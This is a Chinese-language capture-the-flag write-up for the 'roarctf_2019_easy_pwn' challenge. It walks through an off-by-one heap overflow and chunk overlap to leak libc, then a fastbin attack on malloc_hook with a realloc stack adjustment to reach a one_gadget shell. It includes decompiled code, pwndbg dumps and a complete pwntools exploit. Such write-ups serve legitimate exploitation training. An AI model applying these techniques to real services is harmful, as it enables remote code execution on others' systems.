# 这次的题比较难搞,但是攻击点挺单一,过程中里到了 2 个手法
# 环境以及保护
1 2 3 4 5 6 7 giantbranch@ubuntu:~/Desktop/buuoj/roarctf_2019_easy_pwn$ checksec --file=roarctf [*] '/home/giantbranch/Desktop/buuoj/roarctf_2019_easy_pwn/roarctf' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开了,那么我们只能考虑劫持 malloc_hook, 或者 IO_FILE。这里我还是优先考虑了劫持 mallochook,使用 onegadget。还是因为 buuoj 不给 libc,虽然 ubuntu16 的 docker 容器中 glibc 通常为 ubunt11.2 或者 ubuntu11.3,但是这里还是不行,猜测可能是 11.1 的版本,这里就不过多的猜测了,泄露版本永远都不是重点和难点。
# 题目主要代码
1 2 3 4 5 6 7 8 9 10 int menu () { puts ("Note system" ); puts ("1. create a note" ); puts ("2. write note" ); puts ("3. drop the note" ); puts ("4. show the note" ); puts ("5. exit" ); return printf ("choice: " ); }
其实每次看这个 menu 的页面,就可以知道重点关注什么地方了。这个题呢,还是毕竟规矩的创建,编辑,输出,删除。考虑几个点有没有溢出,有没有 UAF.
很遗憾这个题并没有太多的机会,只有 1 字节溢出,free 后指针清空
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 __int64 sub_C46 () { __int64 result; int i; int v2; int size; void *v4; result = 0LL ; for ( i = 0 ; i <= 15 ; ++i ) { result = *((unsigned int *)&inuse + 4 * i); if ( !(_DWORD)result ) { printf ("size: " ); size = getnum(v2); if ( size > 0 ) { if ( size > 0x1000 ) size = 0x1000 ; v4 = calloc (size, 1uLL ); if ( !v4 ) exit (-1 ); *((_DWORD *)&inuse + 4 * i) = 1 ; *((_DWORD *)&Size + 4 * i) = size; list [2 * i] = v4; printf ("the index of ticket is %d \n" , (unsigned int )i); } return (unsigned int )i; } } return result; } __int64 __fastcall read_content (__int64 a1, int size) { __int64 v3; ssize_t v4; if ( !size ) return 0LL ; v3 = 0LL ; while ( size > v3 ) { v4 = read(0 , (void *)(v3 + a1), size - v3); if ( v4 > 0 ) v3 += v4; } return v3; } __int64 __fastcall read_size (int a1, unsigned int a2) { __int64 result; if ( a1 > (int )a2 ) return a2; if ( a2 - a1 == 10 ) LODWORD(result) = a1 + 1 ; else LODWORD(result) = a1; return (unsigned int )result; } __int64 sub_E82 () { int v1; int size; int idx; unsigned int v4; printf ("index: " ); size = getnum(v1); idx = size; if ( size >= 0 && size <= 15 ) { size = *((_DWORD *)&inuse + 4 * size); if ( size == 1 ) { printf ("size: " ); size = getnum(1 ); v4 = read_size(*((unsigned int *)&Size + 4 * idx), (unsigned int )size); if ( size > 0 ) { printf ("content: " ); size = read_content(list [2 * idx], v4); } } } return (unsigned int )size; } __int64 sub_F8E () { int idx; int v2; int v3; __int64 v4; printf ("index: " ); idx = getnum(v3); v4 = idx; v2 = idx; if ( idx >= 0LL && idx <= 15LL ) { v4 = *((int *)&inuse + 4 * idx); if ( v4 == 1 ) { *((_DWORD *)&inuse + 4 * idx) = 0 ; *((_DWORD *)&Size + 4 * idx) = 0 ; free ((void *)list [2 * idx]); list [2 * v2] = 0LL ; } } return v4; } __int64 __fastcall output_content (__int64 a1, int a2) { __int64 v3; ssize_t v4; if ( !a2 ) return 0LL ; v3 = 0LL ; while ( a2 > v3 ) { v4 = write(1 , (const void *)(v3 + a1), a2 - v3); if ( v4 > 0 ) v3 += v4; } return v3; } __int64 delete () { int v1; int v2; int v3; printf ("index: " ); v2 = getnum(v1); v3 = v2; if ( v2 >= 0 && v2 <= 15 ) { v2 = *((_DWORD *)&inuse + 4 * v2); if ( v2 == 1 ) { printf ("content: " ); v2 = output_content(list [2 * v3], *((unsigned int *)&Size + 4 * v3)); } } return (unsigned int )v2; }
代码实现的逻辑还算比较哇民政,没有太大的问题。由于题目保护全开了,操作空间就很小。唯一的漏洞还非常明显 if (a2 - a1 == 10)
LODWORD (result) = a1 + 1; 其中 a1 是我们创建时输入的 size,a2 是我们进行 write 时输入的 size,经典的手法创建时是不进行 16 字节对齐,卡最大的堆块界限,0x88,write 时只要输入的时 0x88+10 ,就可以实现 1 字节的溢出。
# 解题:
# 泄露地址
因为题目在申请堆块的时候,使用的是 calloc,会对返回的堆块进行初始化。所以我们必须构造的时堆块的重叠或者重复使用
这里我们只着重介绍两种手法的实现,就不具体展示利用过程了,因为流程比较固定;
# unlink
1 2 3 4 5 6 7 8 add(0x80 ) add(0x88 ) add(0x68 ) add(0x80 ) free(0 ) write(2 ,0x68 +10 ,b'\x00' *0x61 +p64(0x190 )+b'\x90' ) free(3 )
这个是经典的套路了,利用 unsortedbins 的双链表绕过 unlink 的检查,成功的 chunk0 合并到 topchunk,作为新的 topchunk, 这个时候 chunk1 仍在使用,但是被包含进了 topchnk,那么我们下面如果重复申请 add (0x88),add (0x18), 就可以在 bss 的链表中两次利用了,人为的 uaf,这里的话呢,我写的 0x18 比较小,可以写大点,比如 0x88,然后重复申请后,有两个地方的指针指向这块区域,释放一个,用另外一个进行泄露(因为 0x91 的大小又被写进了 unsortedbins)这样有了 libc 的基地址。通过上述流程我们就是实现了人为的 uaf。如果我们话存在一个 0x70 大小的堆块的重复利用,就可以进行 fastbinsattack,将 malloc_hook-0x23 写入 fastbins,然后就可以可以申请出来实现 malloc_hook 的劫持。
这个操作就很经典了,劫持 malloc_hook 后查看栈的结构,寻找满足要求的 onegadegt
# 瞎操作
我在第一次进行 unlink 操作时,因为不仅修改了后面堆块的堆头,还修改了假 tophcunk 的堆头,同样想利用 unsortedbin 的双链表绕过检查,但是失败了
1 2 3 4 5 6 7 8 9 10 11 12 add(0x18 ) add(0x80 ) add(0x18 ) add(0x80 ) free(1 ) write(0 ,0x18 +10 ,p64(0 )*3 +b'\xb0' ) write(2 ,0x18 +10 ,p64(0 )*2 +p64(0xb0 )+b'\x91' ) free(3 ) add(0x88 )
但是,却误打误撞的绕过了 unsortedbins 的检查,如果释放 1,然后修改他的 size(0x90—>0xb0), 期望能够切割堆块 (0x90),然后剩下的 0x20 会被加入对应的 bins,这里会报错我还没有搞清楚原因,报错的信息大概是 prevsize 不合法。
然后我的瞎操作就饶过了一系列的检查,虽然没能构造新的 topchunk, 但是 chunk1 的紧邻堆块 2 是我们在使用的,当我们 add (0x88),会对其进行切割,剩下的 0x20 会进入 unsortedbin 的双链表,而这剩下的就是我们使用的 chunk2,这样 chunk 的 fd,bk 指针指向 main_arena,这样既可以完成了泄露
1 2 3 4 5 6 7 8 9 unsortedbin all: 0x55ad680a80b0 —▸ 0x7f39d1cdab78 (main_arena+88 ) ◂— 0x55ad680a80b0 smallbins empty largebins empty pwndbg> x/2 gx 0x55ad680a80b0 0x55ad680a80b0 : 0x0000000000000000 0x0000000000000021 pwndbg>
然后申请出来
1 2 3 4 0x55ad67ba8040 : 0x0000001800000001 0x000055ad680a8010 0x55ad67ba8050 : 0x0000008800000001 0x000055ad680a8030 0x55ad67ba8060 : 0x0000001800000001 0x000055ad680a80c0 0x55ad67ba8070 : 0x0000001000000001 0x000055ad680a80c0
就可以重复利用,我们利用 chunk1 来修改 chunk 的 size(0x21---->0x71),这样当 chunk2 释放后门进入 fastbin, 利用 chunk3 修改 fd 指针,就把 malloc_hook 链接入 fastbins。free chnnk 进入 fastbins 时,要保证 chunk 的下一个 chunk 合法,但是只会检查 size,这里我直接申请一个堆块绕过,后面申请到 aimed_chunk 就比较简单了。
最后就是这个 onegadegt 了,很不幸这里没有合适的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 RAX 0xcafebabedeadbeef RBX 0x0 RCX 0x10 RDX 0x11 RDI 0x10 RSI 0x55fafa1d3cd1 ◂— mov qword ptr [rbp - 0x10 ], rax R8 0x0 R9 0x0 R10 0x0 R11 0x7f55c10ef6e0 (_nl_C_LC_CTYPE_class+256 ) ◂— add al, byte ptr [rax] R12 0x55fafa1d39a0 ◂— xor ebp, ebp R13 0x7ffc37dd49f0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x10 RSP 0x7ffc37dd48a0 ◂— 0x7 RIP 0x7f55c0ffd028 (calloc +680 ) ◂— call rax ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x7f55c0ffd028 <calloc +680 > call rax 0x7f55c0ffd02a <calloc +682 > xor esi, esi 0x7f55c0ffd02c <calloc +684 > test rax, rax 0x7f55c0ffd02f <calloc +687 > mov rdx, rbp 0x7f55c0ffd032 <calloc +690 > mov rdi, rax 0x7f55c0ffd035 <calloc +693 > jne calloc +656 <0x7f55c0ffd010 > 0x7f55c0ffd037 <calloc +695 > xor eax, eax 0x7f55c0ffd039 <calloc +697 > jmp calloc +312 <0x7f55c0ffceb8 > 0x7f55c0ffd03e <calloc +702 > nop 0x7f55c0ffd040 <calloc +704 > mov rax, qword ptr [rip + 0x33ee31 ] 0x7f55c0ffd047 <calloc +711 > mov dword ptr fs:[rax], 0xc ───────────────────────────────────[ STACK ]──────────────────────────────────── 00 :0000 │ rsp 0x7ffc37dd48a0 ◂— 0x7 01 :0008 │ 0x7ffc37dd48a8 ◂— 0x0 02 :0010 │ 0x7ffc37dd48b0 —▸ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r1503 :0018 │ 0x7ffc37dd48b8 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp04 :0020 │ 0x7ffc37dd48c0 —▸ 0x7ffc37dd49f0 ◂— 0x1 05 :0028 │ 0x7ffc37dd48c8 —▸ 0x55fafa1d3cd1 ◂— mov qword ptr [rbp - 0x10 ], rax06 :0030 │ 0x7ffc37dd48d0 ◂— 0x7fa1d39a0 07 :0038 │ 0x7ffc37dd48d8 ◂— 0x100000010 ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7f 55c0ffd028 calloc +680 f 1 55f afa1d3cd1 f 2 7f a1d39a0 f 3 100000010 f 4 100000006 f 5 3b dcd6e58a0f900 f 6 7f fc37dd4910 f 7 55f afa1d4258 f 8 137 dd49f0 f 9 3b dcd6e58a0f900 f 10 55f afa1d42c0 Program received signal SIGSEGV (fault address 0x0 ) pwndbg> stack 40 00:0000│ rsp 0x7ffc37dd48a0 ◂— 0x7 01:0008│ 0x7ffc37dd48a8 ◂— 0x0 02:0010│ 0x7ffc37dd48b0 —▸ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r15 03:0018│ 0x7ffc37dd48b8 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp 04:0020│ 0x7ffc37dd48c0 —▸ 0x7ffc37dd49f0 ◂— 0x1 05:0028│ 0x7ffc37dd48c8 —▸ 0x55fafa1d3cd1 ◂— mov qword ptr [rbp - 0x10], rax 06:0030│ 0x7ffc37dd48d0 ◂— 0x7fa1d39a0 07:0038│ 0x7ffc37dd48d8 ◂— 0x100000010 08:0040│ 0x7ffc37dd48e0 ◂— 0x100000006 09:0048│ 0x7ffc37dd48e8 ◂— 0x3bdcd6e58a0f900 0a:0050│ 0x7ffc37dd48f0 —▸ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r15 0b:0058│ 0x7ffc37dd48f8 —▸ 0x55fafa1d4258 ◂— jmp 0x55fafa1d42ad 0c:0060│ 0x7ffc37dd4900 ◂— 0x137dd49f0 0d:0068│ 0x7ffc37dd4908 ◂— 0x3bdcd6e58a0f900 0e:0070│ 0x7ffc37dd4910 —▸ 0x55fafa1d42c0 ◂— push r15 0f:0078│ 0x7ffc37dd4918 —▸ 0x7f55c0f98840 (__libc_start_main+240 ) ◂— mov edi, eax 10:0080│ 0x7ffc37dd4920 —▸ 0x7ffc37dd49f8 —▸ 0x7ffc37dd6080 ◂— './roarctf' ... ↓ 12:0090│ 0x7ffc37dd4930 ◂— 0x1c1104708 13:0098│ 0x7ffc37dd4938 —▸ 0x55fafa1d41ec ◂— push rbp 14:00a0│ 0x7ffc37dd4940 ◂— 0x0 15:00a8│ 0x7ffc37dd4948 ◂— 0x21d72319ef57efa6 16:00b0│ 0x7ffc37dd4950 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp 17:00b8│ 0x7ffc37dd4958 —▸ 0x7ffc37dd49f0 ◂— 0x1 18:00c0│ 0x7ffc37dd4960 ◂— 0x0 ... ↓ 1a:00d0│ 0x7ffc37dd4970 ◂— 0x75dab899f897efa6 1b:00d8│ 0x7ffc37dd4978 ◂— 0x748956d06527efa6 1c:00e0│ 0x7ffc37dd4980 ◂— 0x0 ... ↓ 1f:00f8│ 0x7ffc37dd4998 —▸ 0x7ffc37dd4a08 —▸ 0x7ffc37dd608a ◂— 0x52454d554e5f434c ('LC_NUMER' ) 20:0100│ 0x7ffc37dd49a0 —▸ 0x7f55c1569168 —▸ 0x55fafa1d3000 ◂— jg 0x55fafa1d3047 21:0108│ 0x7ffc37dd49a8 —▸ 0x7f55c135280b (_dl_init+139 ) ◂— jmp 0x7f55c13527e0 22:0110│ 0x7ffc37dd49b0 ◂— 0x0 ... ↓ 24:0120│ 0x7ffc37dd49c0 —▸ 0x55fafa1d39a0 ◂— xor ebp, ebp 25:0128│ 0x7ffc37dd49c8 —▸ 0x7ffc37dd49f0 ◂— 0x1 26:0130│ 0x7ffc37dd49d0 ◂— 0x0 27:0138│ 0x7ffc37dd49d8 —▸ 0x55fafa1d39c9 ◂— hlt
我们来看看 onegadegt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 $ one_gadget /lib/x86_64-linux-gnu/libc.so.6 -l3 /var/lib/gems/2.3 .0 /gems/one_gadget-1.6 .2 /lib/one_gadget/fetchers/base.rb:45 : warning: Insecure world writable dir /home/giantbranch in PATH, mode 040777 0x45226 execve("/bin/sh" , rsp+0x30 , environ)constraints: rax == NULL 0x4527a execve("/bin/sh" , rsp+0x30 , environ)constraints: [rsp+0x30 ] == NULL 0xcd173 execve("/bin/sh" , rcx, r12)constraints: [rcx] == NULL || rcx == NULL [r12] == NULL || r12 == NULL 0xcd248 execve("/bin/sh" , rax, r12)constraints: [rax] == NULL || rax == NULL [r12] == NULL || r12 == NULL 0xf03a4 execve("/bin/sh" , rsp+0x50 , environ)constraints: [rsp+0x50 ] == NULL 0xf03b0 execve("/bin/sh" , rsi, [rax])constraints: [rsi] == NULL || rsi == NULL [[rax]] == NULL || [rax] == NULL 0xf1247 execve("/bin/sh" , rsp+0x70 , environ)constraints: [rsp+0x70 ] == NULL 0xf67f0 execve("/bin/sh" , rcx, [rbp-0xf8 ])constraints: [rcx] == NULL || rcx == NULL [[rbp-0xf8 ]] == NULL || [rbp-0xf8 ] == NULL
这个时候我们尝试 realloc_hook,mallo_hook 复写为 realloc,realloc_hook 写为 onegadget ,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0xcafebabedeadbeef RBX 0x10 RCX 0x10 RDX 0x7f31162cc02a (calloc +682 ) ◂— xor esi, esi RDI 0x10 RSI 0x55fc4e86dcd1 ◂— mov qword ptr [rbp - 0x10 ], rax R8 0x0 R9 0x0 R10 0x0 R11 0x7f31163be6e0 (_nl_C_LC_CTYPE_class+256 ) ◂— add al, byte ptr [rax] R12 0x55fc4e86dcd1 ◂— mov qword ptr [rbp - 0x10 ], rax R13 0x7ffedb4e1860 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x10 RSP 0x7ffedb4e16a0 ◂— 0x0 RIP 0x7f31162cb95d (realloc +589 ) ◂— call rax ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x7f31162cb95d <realloc +589 > call rax 0x7f31162cb95f <realloc +591 > mov rbp, rax 0x7f31162cb962 <realloc +594 > jmp realloc +213 <0x7f31162cb7e5 > 0x7f31162cb967 <realloc +599 > nop word ptr [rax + rax] 0x7f31162cb970 <realloc +608 > mov rax, qword ptr [rip + 0x33f501 ] 0x7f31162cb977 <realloc +615 > xor ebp, ebp 0x7f31162cb979 <realloc +617 > mov dword ptr fs:[rax], 0xc 0x7f31162cb980 <realloc +624 > jmp realloc +213 <0x7f31162cb7e5 > 0x7f31162cb985 <realloc +629 > nop dword ptr [rax] 0x7f31162cb988 <realloc +632 > lea rax, [r15 - 8 ] 0x7f31162cb98c <realloc +636 > mov rbp, rbx ───────────────────────────────────[ STACK ]──────────────────────────────────── 00 :0000 │ rsp 0x7ffedb4e16a0 ◂— 0x0 ... ↓ 02 :0010 │ 0x7ffedb4e16b0 —▸ 0x7f311681c700 ◂— 0x7f311681c700 03 :0018 │ 0x7ffedb4e16b8 ◂— 9 04 :0020 │ 0x7ffedb4e16c0 —▸ 0x7f311660c6a3 (_IO_2_1_stdout_+131 ) ◂— 0x60d780000000000a 05 :0028 │ 0x7ffedb4e16c8 —▸ 0x7ffedb4e1860 ◂— 0x1 06 :0030 │ 0x7ffedb4e16d0 ◂— 0x0 ... ↓ ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7f 31162cb95d realloc +589 f 1 7f 31162cc02a calloc +682 f 2 55f c4e86dcd1 f 3 74e86 d9a0 f 4 100000010 f 5 100000006 f 6 54 a26cc778083a00 f 7 7f fedb4e1780 f 8 55f c4e86e258 f 9 1 db4e1860 f 10 54 a26cc778083a00 Program received signal SIGSEGV (fault address 0x0 ) pwndbg> stack 20 00:0000│ rsp 0x7ffedb4e16a0 ◂— 0x0 ... ↓ 02:0010│ 0x7ffedb4e16b0 —▸ 0x7f311681c700 ◂— 0x7f311681c700 03:0018│ 0x7ffedb4e16b8 ◂— 9 04:0020│ 0x7ffedb4e16c0 —▸ 0x7f311660c6a3 (_IO_2_1_stdout_+131 ) ◂— 0x60d780000000000a 05:0028│ 0x7ffedb4e16c8 —▸ 0x7ffedb4e1860 ◂— 0x1 06:0030│ 0x7ffedb4e16d0 ◂— 0x0 ... ↓ 08:0040│ 0x7ffedb4e16e0 ◂— 0x10 09:0048│ 0x7ffedb4e16e8 —▸ 0x55fc4e86d9a0 ◂— xor ebp, ebp 0a:0050│ 0x7ffedb4e16f0 —▸ 0x7ffedb4e1860 ◂— 0x1 0b:0058│ 0x7ffedb4e16f8 ◂— 0x0 ... ↓ 0d:0068│ 0x7ffedb4e1708 —▸ 0x7f31162cc02a (calloc +682 ) ◂— xor esi, esi 0e:0070│ 0x7ffedb4e1710 ◂— 0x7 0f:0078│ 0x7ffedb4e1718 ◂— 0x0 10:0080│ 0x7ffedb4e1720 —▸ 0x7ffedb4e1760 —▸ 0x7ffedb4e1780 —▸ 0x55fc4e86e2c0 ◂— push r15 11:0088│ 0x7ffedb4e1728 —▸ 0x55fc4e86d9a0 ◂— xor ebp, ebp 12:0090│ 0x7ffedb4e1730 —▸ 0x7ffedb4e1860 ◂— 0x1 13:0098│ 0x7ffedb4e1738 —▸ 0x55fc4e86dcd1 ◂— mov qword ptr [rbp - 0x10], rax pwndbg>
这里 rsp+0x30 为 0,就满足了一个 onegadget.
有时候 realloc 仍旧无法满足,那么我们尝试 realloc 偏移,realloc 调栈 的原理在于其调用 realloc_hook 前,会有多个 push 操作,利用这个可以是默写栈空间经过操作偏移后,满足要求。
# exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *r=process("./roarctf" ) elf = ELF("./roarctf" ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) def ch (i ): r.sendlineafter("choice: " ,str (i)) def add (size ): ch(1 ) r.sendlineafter("size: " ,str (size)) def write (idx,size,content ): ch(2 ) r.sendlineafter("index: " ,str (idx)) r.sendlineafter("size: " ,str (size)) r.sendafter("content: " ,content) def show (idx ): ch(4 ) r.sendlineafter("index: " ,str (idx)) def free (idx ): ch(3 ) r.sendlineafter("index: " ,str (idx)) gdb.attach(r,'b calloc' ) add(0x18 ) add(0x80 ) add(0x18 ) add(0x80 ) free(1 ) write(0 ,0x18 +10 ,p64(0 )*3 +b'\xb0' ) write(2 ,0x18 +10 ,p64(0 )*2 +p64(0xb0 )+b'\x91' ) free(3 ) add(0x88 ) show(2 ) r.recvuntil("content: " ) addr = u64(r.recv(6 ).ljust(8 ,b'\x00' )) offset = 0x7f99de237b88 -0x7f99dde73000 libc_base = addr -(0x7f99de237b88 -0x7f99dde73000 )+0x10 malloc_hook = libc_base+0x3c4b10 print ("malloc_hook : " ,hex (malloc_hook))onegadget = 0x4527a +libc_base realloc = libc_base+ libc.symbols['realloc' ] print ("main_arena : " ,hex (addr))add(0x10 ) add(0x40 ) add(0x18 ) write(1 ,0x88 +10 ,p64(0 )*17 +b'\x71' ) free(2 ) write(3 ,0x10 ,p64(malloc_hook-0x23 )*2 ) payload = b'\x00' *(0x13 -8 )+p64(onegadget) payload +=p64(realloc) payload += b'\x00' * (0x60 -len (payload)) add(0x60 ) add(0x60 ) write(6 ,0x60 ,payload) add(0x10 ) r.interactive()